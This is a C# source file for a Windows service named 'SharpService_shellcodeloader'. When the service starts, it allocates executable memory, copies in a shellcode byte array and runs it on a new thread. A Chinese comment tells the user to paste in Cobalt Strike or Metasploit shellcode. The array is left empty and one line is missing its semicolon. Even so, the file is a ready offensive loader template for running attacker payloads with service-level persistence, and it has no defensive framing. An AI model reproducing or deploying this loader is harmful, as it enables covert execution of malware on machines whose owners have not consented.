using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Runtime.InteropServices;
namespace SharpService_shellcodeloader
{
public partial class Service1 : ServiceBase
{
[DllImport("kernel32.dll")]
private static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public Service1()
{
InitializeComponent();
}
protected override void OnStart(string[] args)
{
// 填写cs或msf的Shellcode
byte[] shellcode = new byte[894] {}
IntPtr memoryAddress = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
0x3000, 0x40);
Marshal.Copy(shellcode, 0, memoryAddress, shellcode.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, memoryAddress,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
protected override void OnStop()
{
}
}
}
